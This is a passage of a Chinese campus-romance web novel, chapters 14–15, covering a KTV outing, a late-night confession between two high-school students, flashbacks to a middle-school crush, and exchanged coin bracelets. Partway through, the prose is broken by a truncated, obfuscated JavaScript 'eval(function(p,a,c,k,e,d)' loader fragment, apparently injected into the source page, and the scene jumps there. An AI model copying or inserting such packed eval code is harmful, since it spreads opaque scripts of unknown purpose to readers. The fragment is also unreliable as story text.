林桑耳朵被热气挠得痒了一下,连带着心也像是被小奶猫挠了一下,酥酥麻麻的。 她状似无事发生地直起身,偏头随意一瞥,和杨思怡对上眼。 杨思怡夹菜的手一顿,脸上带着笑看着他们。 林桑顿觉尴尬,一会儿抽纸擦桌子,一会儿倒水,一会儿拿起筷子夹菜,直到用余光确认杨思怡没再看这边才放松下来。 一顿饭吃完,已经临近九点,即使醉到脚步发虚,走路都得互相搀扶,还是有人提议去唱歌。 一行人浩浩荡荡往KTV走,林景拉住跟在队伍后方的林桑:“困不困,困的话我先送你回去。” 林桑瞥了眼被人勾着脖颈被迫往前走的沈听原,摇头道:“不困,一会儿再回。” 林景从裤兜里摸出一小把绿色薄荷糖递给她,提醒道:“他们闹起来我顾不上你,自己有点分寸,别占着酒量好就多喝。” 林桑手背在身后,沿着石板的纹路一步一步跨出去,一板一眼地应:“知道啦。” …… 一到包厢,服务员上完果盘瓜子和酒后,原本走路摇摇晃晃的一群人像是打了肾上腺激素一般,又沸腾起来。 不是捧着话筒唱得撕心裂肺,就是亢奋地划拳。 沈听原作为今晚的主角,自然逃不过,在包厢的时候估计他们都知道他是不喜欢喝白酒装的,这会儿算是逃不过了,输了就得吹瓶。 林桑看着他在起哄声中仰头一口气将一瓶啤酒灌完,替他捏了一把汗。 她坐在角落里,杨思怡在她身侧坐下,拿了一块西瓜递给她:“他舍得跟你表白了?” 包厢里声音太大,林桑接过西瓜,没听清,“啊”了一声。 杨思怡凑到她耳边,把方才的话重复了一遍。 林桑闻言,僵了一瞬,低头看着手里的西瓜,摇了摇头。 杨思怡“啧”了一声:“真没用。” “一大家子都是打直球的,怎么就出了他这么个闷葫芦。” 林桑一颗心扑通扑通跳个不停,声音大到快要盖过包厢里的所有声音。 杨思怡拦过她的肩,轻声在她耳边说:“他跟我说,你是个很有想法,很有个性的人。” “可据我观察,你在他面前,怎么有点拘束呢。” “我没其他意思啊,”杨思怡说,“就是觉得,如果你是他口中那样的人,不该是这幅畏畏缩缩的样。” “虽说人只有在不喜欢的人面前才会展现出真实的自己,在喜欢的人面前就会有所保留,但你这也太过保留了。” “大胆一点呗。” 杨思怡冲她眨眨眼:“我给你示范一个。” 她说完,倾身从盘子里拿起一颗花生,弹到游书涧背上。 觉到动静,游书涧回头,杨思怡勾勾手,他起身走了过来,喊道:“怎么了?” 杨思怡身上穿的是一条泡泡袖的裙子,她缩着脖子搓了搓手臂:“好冷啊。” 游书涧二话不说脱下外套递给她,随后回到原位坐下。 杨思怡脸上带着得意的笑,朝她眨眨眼。 林桑看得目瞪口呆。 那头沈听原得以脱身,杨思怡抬手示意他过来。 沈听原走近后,杨思怡轻轻拍了拍林桑的背大声道:“她有话跟你说。” 沙发塌陷一块,五彩的光线落在他脸上,熟悉的香味里夹杂着淡淡的酒味袭入鼻间。 耳边传来他低哑的嗓音:“说吧,我听着呢。” 林桑指尖深深陷入掌心,后背凉意阵阵。 哪怕她想要确认的那件事已经有了确切的答案,她还是什么都说不出来。 她小心翼翼地瞥了眼杨思怡,杨思怡见状无奈地轻叹了一声,看向沈听原道:“笨啊,她穿的裙子,冷。” 沈听原往后靠着,眼神迷离。 杨思怡话音落下的瞬间,他猛然直起身,探头寻了一会儿,起身走到门口,从架子上取了衣服回来披到她身上。 “我先送你回去?” 林桑抬手拢了拢宽大的外套,睫毛轻颤,唇角忍不住微微勾起,“不用,你们玩,我跟学姐聊聊天。” 杨思怡双手环胸看着沈听原:“你玩你的,人我帮你照顾。” 沈听原眯眼看了杨思怡一会儿,似是察觉到什么,笑道:“还是我亲自来比较放心。” 他这话气得杨思怡翻了个白眼, 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“你刚睡着的时候说想吃烤红薯,我捂了一路,还热着。” “趁热吃,就是这个季节的红薯不知道甜不甜。” 林桑木然地看着他手里的烤红薯,一时之间愣住,一股难言的情绪涌上心头。 她没接,沈听原像是想起什么,顿了一下,拆开外面的塑料袋,打开纸袋剥去上面的外皮才又将烤红薯递给她。 林桑吸了吸鼻子,伸手接过,咬了一口。 很甜。 沈听原看着她,面上带有期盼:“甜不甜?” 林桑抬眼:“很甜,谢谢。” 沈听原松了一口气,在路边坐下,林桑也想跟着他坐下,被沈听原拦住。 他从她臂弯里抽出外套,垫在地上才说:“坐吧。” 夜色浓重,虫鸣平息,街道寂静。 两人坐在路边,林桑低头扒着烤红薯,身侧的沈听原突然出声:“林同学,我有个问题一直没想通,你帮我上网查查呗。” 他说完,摸出手机递给林桑。 林桑有些茫然地把烤红薯放在腿上,抬手接过手机。 手机屏幕适时亮起,沈听原的锁屏壁纸毫无预兆地出现在眼前。 那是一张俯拍的照片,照片上是一个穿素色吊带长裙的女生,散落的头发不长,低头摸着脚边的橘猫。 因为角度问题,看不清脸。 她作为当事人,怎么会认不出那是自己。 沈听原脸上没有半分被撞破的尴尬和窘迫,他手撑着脸,偏头指着屏幕说:“密码6个8。” “帮我点一下,我现在头晕。” “这次可没装啊,是真晕。” 林桑手上沁出不少汗,她在衣服上搓了搓才按下他说的数字。 沈听原瞥了一眼,在屏幕上划了一下,指着右下角的一个图标说:“搜索软件在这,帮我打开一下。” 林桑在上面点了一下,网有些卡,几秒后搜索页面才跳出来,随之而来的,是下方的历史搜索记录。 ——“女孩约会穿其他男生送的……” ——“和女孩约会穿什么最合适” ——“男生约会最帅穿搭” ——“第一次和女孩吃饭要注意……” 她指尖悬在屏幕上,沈听原略哑的声音在耳边响起。 “帮我搜一下,现在距离我最近的那个人,是不是也喜欢我。” 14. 第 14 章 林桑又一次因为沈听原而失眠了。 睁开眼睛捞起手机一看,已经快十二点。 这还是她第一次起床这么晚。 她洗漱完出房间发现家里静悄悄的,奶奶闲不住,不知道又和家里的阿姨去哪了,林景昨晚没少喝,楼上没动静,看来没醒。 厨房有阿姨留的早点,林桑拿了一份出来,在餐桌前坐下,刚喝了口粥,一旁的手机传来消息提示音。 【Banana:早上好。】 【Banana:不对,这个点应该是中午好。】 林桑准备回复,那头又发了一条消息过来。 【Banana:那个……我昨晚说的话是认真的,不是醉酒后胡言乱语,是真的想考北城外国语大学。】 昨晚…… 回忆如狂浪一般凶猛,顷刻间淹没了她。 沈听原说完那番话后,林桑心跳窒了一瞬,随后疯狂加速。 她说不出话,做不出任何动作,只能任由晚风吹过她通红的脸颊,任由那剧烈的心跳声响彻空寂的街道。 这时,沈听原的声音压过一切,落在她耳边。 “但这个问题我搜过很多次,神通广大的网友们也无可奈何。” “所以,能辛苦林同学给我一个标准答案吗?” 林桑眼神呆愣地看着他,几次张口,却发不出任何声音。 许久后,街道两旁的树叶不停翻动,卷起一阵清风。 为街边的少年带去了他渴盼的标准答案—— “是。” 沈听原怔愣一瞬,迅即欢喜若狂,露出一排干净整齐的洁白牙齿,脸颊上的酒窝随着他的动作出现了它从未有过的弧度。 他微微躬下身,伸手捂住压抑不住的心跳,闭了闭眼,看向林桑。 “能说一些细节吗,我想听。” 林桑没想到她简单的字眼会引起沈听原这般猛烈的反应。 更没想过他会询问细节。 细节。 乍一想,好像有很多,多到她不知该从何说起。 细一想,好像又很少,少到她三言两语便说完。 比起沈听原这个人,林桑最先认识的是他的名字。 沈听原转到云亭四中是初二那年,刚开学一周。 当时班上不少人说楼下有个班来了个转学生,从隔壁榆城来的,又白又高还特别帅,拽着一张厌世脸,走起路来懒洋洋的,浑身上下透着股说不上来的痞劲,就是这股劲,从办公室到教室那么点路就迷了不少人,有人甚至老师一走就直接跑去要联系方式。 吃瓜群众的速度往往快过网络。 人是午休结束后来的,一节课结束后和他相关的信息就已经遍地都是。 林桑没见过他,只觉得沈听原这个名字很好听,不禁好奇他长什么样子,所以那之后会有意无意地留意和这个名字相关的信息。 第二次听到关于他,是他转到四中一周后。 据班上男生所说,是在厕所抽烟被人人都惧怕的教导主任给撞到,当时还有其他几个男生,别人藏得快,他是嘴里衔着烟和教导主任来了个对视。 由此被教导主任判定为故意挑衅,当场将缴获的所有烟递给他,让他将那些烟生嚼后吞下去。 男生说起的时候忍不住打了个寒颤,说是根本不敢想象将烟在嘴里跟嚼口香糖一样嚼完后又咽到肚子里是多么的折磨。 沈听原倒跟个没事人一样,愣是面不改色地嚼完了一包,还想继续的时候,教导主任怕出事给拦了下来。 后来背了个很大的处分,就贴在荣誉榜旁,对比鲜明。 那次的处分只是一个小小的开端,后来上面又贴了不少大大小小的处分,要么只有他的名字,要么他的名字夹在一群人中间。 转到四中短短两周,他就超越林景,一跃成为处分榜榜首。 人好像总是会被和自己完全相反的类型吸引,林桑路过宣传栏的时候,总忍不住驻足看一眼,愈发好奇他究竟是个怎样的人。 学校不算大,统共也就六百来号学生,林桑经常能从别人口中听闻他的名字,却从未见过他。 他们的第一次见面,是在那之后的月考上。 云亭四中考场安排向来是按成绩,那是第一次,也是后来一年多的时间里,唯一一次随机安排座次。 林桑看座次的时候,习惯性看了眼前后的人,和她一人之隔的名字,是沈听原。 去了考场后,林桑前面坐了人,再前面的位置,是空着的,按座次推测,那里坐的人应该是他。 离考试还早,来得早的人都在聊天,还有人肆无忌惮地商量着暗语,坐在林桑前面的女生在她的隔壁班,两人打过几次照面,还算熟。 女生和她聊着这次可能会考到的题型,门口忽地传来一阵不小的动静。 林桑下意识抬头看了过去,一个长相出众的男生被人簇拥着站在门口,旁人指着门上贴着的座次表不知道说了什么,男生哼笑一声,在那人肩上锤了一下。 那时,他身后是远处延绵不绝的山,旭日悬在上空,发出耀眼的光芒,照在他身上。 少年唇角微扬,左侧脸颊牵动出一个浅浅的酒窝。 不过浅浅一笑,竟令人觉得他身后的光暗淡无色。 林桑一时失神,那人偏过头,微微一抬眼,两人视线猝不及防撞上。 他们都忘了移开眼。 “哎,林桑,你刚刚说的那个知识点我记不太清,你再跟我说说呗。” “万一一会儿考到。” “哦,好。” 女生的话将林桑的注意力唤回,林桑不知道自己为什么会慌了神,更不知道砰砰跳动的心脏究竟是因为考试还是因为什么,她只知道她在每场考试开始前都会下意识看向那道清瘦的背影。 那之后,林桑忽然发现自己在学校见到他的频率高了起来。 那种感觉很神奇,一个过去从未见过的人,不经意一次之后,开始频繁地出现在自己的生活里,像是一种天意。 意识和行为逐渐开始不受控,偏移正轨,她开始频繁地四处搜寻他的身影。 走在路上时,周一开校会时,课间操时,去食堂打饭时,到小卖部买东西时,在走廊看风景时…… 听到有人喊他的名字,会将视线极速投向声源所在的方向,看到和他有几分相似的身影时,会慌乱到手脚不知如何安放,会下意识整理头发和衣摆。 而捕捉到他的那个瞬间,足以支撑她一天都是春风满面。 她不擅隐藏,内心那点想法全部写在脸上,除了汪亿涵,开始有其他人察觉到她喜欢沈听原。 林桑一直不觉得那是喜欢。 但看到汪亿涵分享过来的Q/Q号时,汪亿涵没明说,她却知道是谁的,光是看着那串数字,心脏就砰砰狂跳,倒背如流后才敢打在搜索栏点添加。 沈听原设置了自动通过,林桑紧张地看着添加好友成功的消息,点开他的空间。 空间访客量超百万,让她感到望尘莫及。 再一看留言板,上万的留言,点开一看,基本都是女生留的,中间穿插着几条他朋友的留言,说他的留言墙全是女生,打趣他魅力不浅。 林桑每隔一段时间去看,留言就会涨几百条。 有些留言背景用了自拍照,那些女生,各有各的漂亮。 她下意识审视起自己的外貌,脸部线条好像没她们流畅,眼睛好像没她们大,睫毛也没她们卷翘,她在镜子前端详半晌,总觉得哪都不太顺眼。 也是因为他,她第一次有了自卑的感觉。 她逐渐意识到这个与她素不相识的人,竟能影响她的情绪。 饶是这般,她还是不愿承认自己喜欢他。 毕竟,喜欢上一个和自己从未有过交集的人,实在是匪夷所思,不合常理。 直到后来,学校组织户外拓展训练,为了方便管理,将两个班级组为一队一起完成任务。 好巧不巧,林桑他们班正好和沈听原他们班组队,临出发前进行了动员大会,过去开校会时他们之间总隔了很多个班级,林桑只在空隙里偶尔捕捉到他的身影,这会儿组了队的两个班级并排站,难得的机会,集队时汪亿涵特意带着她放慢了速度站在后排,让她和沈听原站在了一条平行线上。 因为有的班级一直很懒散,有老师拿着话筒站在台上开始整理队形。 “每个班女生站前,男生站后,两两对齐,速度快点,后面的同学跑起来!” 林桑跟着汪亿涵往前走,临走前视线克制不住地朝他所在的方向偏移,汪亿涵察觉到她的小心思,特意带着她站在女生的最后排,他们班男生少,因此林桑身后的人不多,能借着和汪亿涵说话借机看他一眼。 忽的,身侧传来一阵不小的动静,林桑看了过去才发现沈听原他们班的女生是单数,有个女生落了单,站在女生身后的男生一脸坏笑地推了推身旁的男生说:“喂,两两对齐,快上前补空位啊你。” “去你大爷的。”被推的男生说,“女生站前,男生站后没听到,老子是女生?” “……” 青春期的男生没那么美好,总以捉弄女生为乐,为此沾沾自喜,他们肆意地开着玩笑,完全不顾及那个女生的感受。 “照你这么说,那她站这,难道不男不女。” 不知谁冷不丁说了这么一句,一时间引起一阵哄笑。 这个年纪的女孩子最是敏感,女生头埋得很低,窘迫地用双指搅着衣角,脖颈和脸颊都红透了。 林桑和汪亿涵蹙着眉对视一眼,正要开口替女生说点什么,一道高大的身影一晃而过,有人上前站在女生身侧,补齐了空位。 沈听原嚼着糖,姿态慵懒地站在女生身侧。 方才开玩笑的那群男生见状,玩笑道:“呦,原哥,你要改性别啊。” “没想到你还有这种喜好啊。” “原姐好原姐好,哈哈哈哈沈姐好像也不错……” 沈听原闻言,拧眉转过身,脸上带笑,却透着几分若有似无的压迫感。 “很好笑?站这怎么了?” “会折寿?” 他慢条斯理地抬起手放在说话的男生肩上,冷嗤了一声才说:“变性手术要是跟女生站一块就能做,那你别活了,建议你就地投胎。” “换个没有女生的星球生活。” 男生龇牙咧嘴地扶着肩膀,一脸不爽地说:“我他妈哪说错了,刚矮冬瓜在台上说的你没听到啊,女生站前男生站后。” “你站这,不就把自己当女生了么。” “是吧?”男生仰着下巴朝身后说。 “对啊。”有人附和。 沈听原挑挑眉,视线轻飘飘地在他们脸上来回巡睃,“那正好,你们几个组队一起,省得你一个人孤单。” “你他妈……” 男生捏着拳头一个箭步往前,沈听原岿然不动,低眼睨着他,“怎么说?” 眼看快要打起来,台上也传来校长的声音,担心吸引老师的注意力,有人立马出来打圆场将两人拉开。 沈听原轻描淡写地站了回去,女生低声和他道了谢,他从兜里摸出糖递给女生说:“别听他们瞎说,好不容易有个不用上课的机会,开心点玩。” 话罢,他又在兜里摸了摸,重新摸出几颗糖,微微侧过身递给林桑。 “抱歉啊,抢了你们的活。” “吃糖吗,挺甜的。” 林桑原本是站在左侧的,中间隔了个汪亿涵,所以在看清来人是沈听原时,她内心虽有小小的慌乱,但一瞬即逝,快到没来得及发酵为紧张。 可方才他们说话的间隙里,汪亿涵悄然拉着她换了位,此刻她和他只隔了一臂的距离。 林桑清晰地看到他脸上的笑,如同夏日的光晕,夺目,令人晕头转向,以至于她完全沉浸其中,一时间无措到不知道该给出什么回应。 还是汪亿涵不动声色地碰了她一下,她才懵然地接过他手中的糖道了谢。 林桑将这次失神归结为他的举动太过突然,太过出其不意,她完全没有准备,所以才会反应不过来。 可没想到,下一次来得很快。 活动的任务很多,有一轮是每个组派出三个男生三个女生抢气球,气球一共只有四个,光抢到没用,还得保护好,最后哪个组手里的气球多就获胜。 林桑趁乱捡了个漏,抱着气球躲避的时候,胜负欲当前,总归会把握不好分寸,另外一组的一个男生扑了过来,抢走了气球不说,还推了林桑一把,让她摔了个人仰马翻。 沈听原一把扶起她,确认她没事后,留下一句话给她就起身离开。 “等着啊,我给你抢回来。” 后来,沈听原替她将气球抢了回来不说,还替她“报了仇”,之后更是一直护着她,林桑木然地跟在他身后,手里的气球就这么完好无损的待到了游戏结束。 游戏结束后,林桑失神看着他离开,他挺阔的肩膀和令人莫名想要依靠的安全感在脑海中挥之不去。 她忽地想起一些细碎的事。 她过去在路上无意间撞见过他几次,有时候是他一个人,有时候是和朋友一起,她会情不自禁地跟上去。 至于为什么会跟上去,林桑也说不清,因为最初她也觉得莫名,每次都告诫自己没有下一次,结果有了无数个超出她掌控的下一次。 久而久之,她开始为自己开脱,只是确认一下,自己是不是真的喜欢他。 那时,她隔着远远的距离,看他在公园陪大爷下棋唠嗑,看他一个人蹲在街角喂流浪猫…… 印象最深的一次,是一个很平常的午后。 街道上总会有些无家可归的人在闲晃,前不久多了张生面孔,听何爷爷说是县城边一户人家的儿子,早些年出了场意外伤了脑袋,精神不太正常,不认人到处跑,刚被家里从外地接回来,县上的人都管他叫老憨。老憨除了会跟路人要吃的没做出过什么过分的举动,这种事见怪不怪,大家都习以为常,时不时还会逗逗他解闷。 那天林桑买完奶茶出来,为了躲避太阳,她将伞放得很低,走了没一会儿,前方传来一阵动静,举起伞一看,把她吓得够呛。 老憨手里捏着一块锋利的碎玻璃,将一对母女堵在角落,嘴里叫唤着什么,让人听不真切。烈日当头,酷热难耐,很少有人会在这个时候出门,街道上空落落的,没有能求助的人,林桑只能轻声避开打电话报警,老憨此刻情绪还算稳定,怕上前会激怒他,林桑报完警后只能胆战心惊地在一旁观察那头的动静。 好在没过多久远处有人大喊了一声,林桑循着声音看了过去,是沈听原和他的朋友。 他们的叫喊声吸引了老憨的注意力,沈听原走上前,自然地搂住老憨问他抽不抽烟,老憨傻愣愣地朝他伸手,沈听原象征性地在身上摸了摸,说身上烟没了带他去买,并趁机将碎玻璃拿走递给朋友,男生扔了碎玻璃后和沈听原一同带着老憨往前面的便利店走。 而剩下的几个男生,则在安抚完那对母女后送人离开。 原来,狂妄不羁的人,也有柔软细腻的一面。 联想到这一天的经历,林桑发现,越是了解他多一点,内心的悸动就会抑制不住地多一分。 她才开始承认,承认她喜欢上了这个和她交集少之又少的人,承认她抵挡不了他的魅力而被他吸引。 事实上,追溯源头,她或许,在那不经意地一瞥后,就喜欢上他了。 这一切太不可思议。 可一想到她喜欢上的人,是个不赖的人,她便坦然接受。 至此,她才真正懂得了。 什么叫做,一眼万年。 …… 身边的人都开始劝她放手去追,她犹豫了。 一方面是看到了班上那个女生是如何从高处跌落,一方面是他不认识她,恐怕连她叫什么名字都不知道,她贸然表白,莽撞,令人莫名其妙。 林桑以先考上高中再说为由婉拒了帮她制定追人计划的几个女生。 也开始学着将溢出的喜欢悉数收回。 她那时有个习惯,将老师留下的任务和作业都记在便签上,那些便签的右上角写了日期,日期后总会有个一,有时候是个缺了笔画的正字。有同学跟她借便签看作业时,会好奇地问她是特意标记了什么吗,林桑每次都答只是笔不出墨的时候随手画了两笔。 只有她知道,那是她每天见到沈听原的次数统计。 她隐藏得越来越好,好到偶尔几次和沈听原打照面,她都能宛若她对他从未有过过多的想法,好到除了汪亿涵以外的知情人都误以为她当初的喜欢只是一时兴起。 自然无人知晓,无数个深夜里,那个藏了满怀心事的少女,在月光下,小心翼翼地掏出宝藏盒,寥寥无几却珍贵的相遇瞬间迅速涌了出来。 少女爱不释手地捧着宝藏盒,将那些瞬间反反复复观赏,如珍馐般细细品味。 * 林桑脑子里混沌不堪,断断续续说了半晌才发现,都是很寻常的事,细节真是少得可怜。 沈听原听了一半后便一直将脸埋在手肘间。 林桑舔了舔干涩的唇,又讲起转到一中前误会他和杨思怡是情侣,后来又误会他和他帮助过的那个女生。 讲完这些,林桑故作轻松地笑了笑:“好像……也没什么细节。” 沉默许久的沈听原终于在这时出声:“对不起。” 他声音闷闷的,林桑不解地问:“为什么说对不起?” 沈听原缓缓抬起头,眼眶通红,声线微颤:“让你那么辛苦。” 对上他水雾朦胧的眼睛,林桑手足无措,顾不上想什么,下意识抬手替他擦泪。 林桑勉强扯出一抹笑说:“你不也一样。” 林桑在和沈听原诉说过去时,潜意识里冒出了一个想法,在她只敢偷偷看他而感到满足,偷偷因为他身边有女生而多想,然后独自难过的时候,他又何尝不是如此。 沈听原脸色认真地看着她,喉结轻滚:“不一样。” “你是女孩子,心思要比我细腻敏感,同样的角度上,你一定比我更难受。” 林桑心里像是往一片海洋里掷了一颗细小的石子,以为激不起任何波澜,却收获了一片史无前例的猛浪。 她手还停留在他温软的脸上,泪水已从温热变得冰凉。 仲夏夜的街道,平息的虫鸣又热闹起来。 他们坐在街道旁,眼里只剩下彼此。 须臾后,林桑包里的手机铃声打破了平静。 林景到家后才发现掉队的林桑,吓得酒都醒了大半。 林桑随口扯了个借口说在附近的店里买点东西,马上就回家。 挂断电话后,林桑收了手机,气氛有些说不清的微妙。 两人都有些不自在,尽量避免对视。 林桑把沈听原的手机还给他,顿了顿:“那个……我哥催我回家了,要是还有什么事的话,我们明天再说?” 沈听原手撑在地上起身:“好。” “我送你回去。” 一路上无言,到门口时,林桑回过头指着里面说:“那我先进去了,你也快回去吧。” “晚安。” 沈听原点点头:“好。” 没等到他的晚安,林桑站了一会儿才转过身,脚步迈出一半时,被沈听原喊住:“林同学。” 她转头:“怎么了?” 沈听原一手拎着外套,一手扶在后颈上:“光让你说了,也没能让你知道我的。” “我好像也没什么细节,但公平起见,感觉还是得跟你说点什么,不然我怕你当我只是一时兴起。” “我比你要晚一些,你经常上台演讲,我是那个时候才开始注意到你。” “你很优秀,所以为了靠近你,我努力把名字从处分榜移到了荣誉榜上。” 他有些羞赧地挠了挠后颈,“我也会悄悄在远处看你,有时候还……悄悄买你的同款。” “那天吃饭,我姐说我学着喜欢的小姑娘每次买饮料都买草莓味李子园,她故意说的,因为——” 他顿了顿,“她口中那个我喜欢的小姑娘,是你。” “今晚说起这些,算不上表白,正式的表白,我想等高考后。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林桑没隐瞒:“要是别人我可能不会察觉,但你不一样。” “你身上有股味道。” 沈听原拉起衣领闻了闻,问:“难闻吗?” “不。”林桑摇着头说,“很好闻。” 沈听原蹙着眉又闻了闻:”奇怪了,我就闻不到。” “我也不用香水,难道是洗衣液。” 林桑很早以前发现他身上有股好辨认的味道时就好奇过他用的是什么洗衣液。 她顺势问了出来,沈听原说:“蓝月亮。” 这回轮到林桑忍不住疑惑地皱了下眉:“蓝月亮?” “我用的也是,但味道好像不一样。” 沈听原:“我衣服都是自己洗,但晒出去后家里阿姨会帮我理褶皱,可能她帮我喷了点什么,回去我问问。” 林桑笑着应了一声。 话题终结,两人又陷入沉默,好在有人进门买东西,林桑忙碌了一会儿才有机会坐下休息。 她忙碌的间隙,沈听原自己坐在柜台前做题,她坐下后,他停下笔。 “我早上发的消息,你……看了吗?” 林桑后知后觉,“不好意思啊,我忘了回复。” “没事。”沈听原说,“我过来就是想说,我没拿前程开玩笑,是真想考。” “而且,北城外国语大学是211,我想考还未必能上呢。” “所以,想和你一起努力。” “这样的话,我会比较有动力,学起来也更有劲。” 林桑莫名有些羞愧。 她把玩着一枚硬币,看向他,一脸严肃道:“我信奉诺言许下就必须要履行,你再好好想想,不然……” 她停了一瞬才继续道:“你可没机会反悔。” 沈听原没有犹豫,笑着说:“我不需要反悔的机会。” 林桑右手轻握住,食指搭在拇指上,将硬币放在上面,轻轻弹起。 那枚硬币在空中旋转翻滚,稳稳落在沈听原掌心。 “它作证,由你保管。”林桑说。 “好。”沈听原应。 他捏起那枚硬币想要细看,林桑说:“这是你出生那年的硬币。” 自从知道沈听原的出生年月后,林桑对那组数字很是敏感,碰上1999年的硬币,都会单独换出来。 沈听原勾唇看着那枚硬币,扭过头问她:“有00年的吗?” 林桑一愣:“得找找。” 两人在一堆硬币里翻了半晌,总算翻出一枚2000年的硬币。 沈听原揣着两枚硬币离开了副食店,再回来已经是二十分钟后。 他往桌上放了两杯奶茶,坐下后拿出一杯戳开递给林桑:“抹茶奶盖,全糖,正常冰,要奶盖不要盐盖。” “这次应该没错吧。” 林桑伸手接过:“没错,谢谢。” 另一杯和林桑手中的一模一样,沈听原戳开喝了一口,几不可查地皱了下眉。 他放下奶茶,从兜里摸出一个透明的袋子,里面是一卷红绳和四颗白玉小珠子。 林桑好奇地凑上前:“这是什么?” 沈听原拆开袋子放在柜台上,卖关子道:“一会儿你就知道了。” 林桑捧着奶茶,看着沈听原将红绳在她手腕上大致量了一下,然后拿起硬币编了起来。 他手很巧,速度也很快,不到十分钟就编好了。 硬币被麦穗似的红绳包裹在中间,两边编了朵小花,做完活扣伸缩结后,沈听原又在伸缩结绳子末端串了小珠子。 “伸下手。”沈听原说。 林桑下意识伸出右手,看了眼手上带的银手镯,又换成左手。 沈听原把红绳套在她纤细的手腕上,调整好大小后才拿起另一个套在自己手上。 林桑抬手一看,她手上的那枚硬币,是他的年份。 “说好了这个你保管的。” 沈听原晃了晃手,说:“互相保管。” 林桑低头喝了一口奶茶才小声应:“好。” * 学生时代聊得最多的八卦无非就是谁和谁好像有点不一样,谁和谁又分开了之类的。 周围的同学都很敏锐,洞察力很强,很快便觉出沈听原和林桑之间有些不对劲。 某天第一节晚自习结束后,适珈蓝和鲁琳再也忍不住,缠着林桑盘问。 方倚霏是最早发现的,她没参与,只在一旁笑。 适珈蓝:“好啊,所以只有我和鲁琳被蒙在鼓里,还是不是朋友了。” 方倚霏低头抠着指甲,闻言看她:“她可谁都没说,我是自己发现的,你们俩竟然没察觉,平时在宿舍看那么多小说,都白看了。” 适珈蓝懒得跟她计较,一脸暧昧地碰了碰林桑的肩膀问:“什么情况,在一起了?” 林桑摇头:“还没有。” “等毕业。” 适珈蓝捂住心口,浮夸道:“哎呦喂,受不了。” 鲁琳轻声笑了一下:“我为之前怀疑你和你那个小竹马感到抱歉。” “……” 她们站在教室外的走廊,聊着聊着,话题越来越远,连以后结婚买五金的事都聊了起来。 鲁琳摸着耳垂说:“我都没耳洞,岂不是亏了,等毕业了得去打一个,不然以后少一金。” 适珈蓝笑:“那照你这么说,林桑以后能多买一金呢,她有四个耳洞。” 林桑的耳洞是小时候奶奶用针给扎的,挑了个冷天把耳朵冻冷后,拿两块萝卜一夹,针一穿就完事了。 学校允许戴银手镯,但不允许戴耳钉,她已经快两年多没戴过耳钉。 “哪能啊,很久没戴了,估计都封严实了。”林桑说。 “那又怎样。”方倚霏说,“反正痕迹还在,就得买,不买不嫁。” 她说这话时没收着,话音落下后,适珈蓝轻咳了两声。 她们同频扭头看过去,沈听原扔完垃圾正好从身后路过。 对上她们的视线,他笑了一下,没停留,径直回了教室。 林桑心跳不自觉加速,慌乱过后尴尬地收回眼。 方倚霏瞪着眼睛,机械地扭回头:“不会听见了吧。” “听见就听见呗。”适珈蓝说,“让他提前做准备喽。” 鲁琳扫了眼林桑通红的耳尖,拍了她一下:“要死啊你,才多大就想这些。” “我这不是希望他们能从校服到婚纱嘛,多幸福,多浪漫啊!” 她们打闹着回了教室,林桑深呼吸几次,等耳上的热度都退却后才进了教室。 沈听原和旁边的人聊着天,见她进来,顿了一下,缓慢地勾唇露出一抹笑。 林桑怔松片刻,脚步凌乱地回到座位坐下,铃声在这时响起,任课老师打开电子白板,说让他们放松放松,放部电影给他们看。 林桑余光小心翼翼瞥了一眼,沈听原抬头看着白板,神情和平常无异。 他应该没听到。 林桑暗自松了一口气。 老师放的电影是《疯狂原始人》,林桑平时看新闻比较多,很少看电影,这个类型的更是没看过,有趣的开头很快吸引了她的注意力,也顾不上思考其他事。 而她身侧的沈听原,只是看了眼片头就收回了眼。 再有趣的电影,也只在第一次看时感到新鲜,之后就会变得索然无味。 他手支着脑袋,偏头看着林桑。 电影开始前教室里的灯就已经关了,只有白板上透出的光亮时不时落在林桑认真的脸上。 她扎了低马尾,有几缕头发落在耳侧,沈听原强压住想要帮她整理头发的冲动,看着她小巧的耳朵出神。 他很早就发现了她有耳洞,但从未见她戴过耳钉。 忍不住想象起她戴耳钉的样子,却因为见过的耳钉和耳环款式太少,被限制了想象力。 电影声骤然放大,他失神碰掉了桌上的笔。 等他伸手想去捡时,林桑已经拾起笔起身。 指尖在她温软的耳垂一擦而过,沈听原滞了一瞬,恍如无事地坐正,看起了电影。 那个夜晚,脸颊和耳后的红,成了少年难掩却又说不出口的情话。 15. 第 15 章 从互相敞开心扉那天起,林桑和沈听原几乎每天都待在一块,跟连体婴似的,每天一起吃饭刷题背书,平静又和谐。 沈听原走读,经常会带东西给林桑,林桑抽屉里堆了一堆让他别带了,他嘴上应着,下次依旧从书包里翻出不少吃的给她,有时则是一些好玩的小物件。 他还每次都不会忘了方倚霏她们,这招成功地俘获了她们三个,每天变着法地在她耳边替沈听原说好话。 林桑无奈,不再强求。 第一次不愉快,是林桑觉得沈听原太过迁就她,什么都依照她的习惯和喜好,她不喜欢这样。 她很早之前就想提,又找不到好的突破口,只能一直压在心底。 直到一个周四,沈听原午休结束回校时买了几个文件袋,说要将试卷像林桑那样全部单独做分类,林桑帮着他一起。 那个时候虽然已经开始用答题卡,但阅卷还是采用人工的形式,试卷上有每一个部分的分数。 整理英语卷子的时候,林桑发现沈听原以前的听力成绩都在25分到27分这个阶段波动。 一般来说,其他部分准确率高的人,听力自然不差,就算偶尔两次没怎么听懂,成绩落差也不可能很大。更何况,沈听原第一次考差是因为意外,至于第二次,她也大概猜到了原因。 他哪里需要提分技巧。 虽然知道沈听原故意找她要听力提分技巧的原因是什么,但一想到自己当初为了欲盖弥彰特意买粉色笔记本和费尽心思将笔记本纸张弄旧的行为可能早已被他知晓。而他呢,一直揣着明白装糊涂,游刃有余地看着她拙劣的表演。 林桑闭了闭眼,一时间觉得自己像个小丑,尴尬到恨不能找个地缝钻进去。 不过,转念一想,这好像是个不错的机会。 她一张一张翻看着,偷偷瞥了他一眼,刻意将动作放缓,沈听原偏过头想要和她说话时才发现不对劲。 沈听原看着她,再垂眼看她手里的试卷,像是反应过来什么,一时愣住。 林桑沉默地帮他理完试卷放进文件袋递给他,翻出习题自顾自做了起来。 这场冷战一直持续到晚上。 晚自习好巧不巧是英语,英语老师要开会,在课后练习上选了几页让他们自己做就离开了。 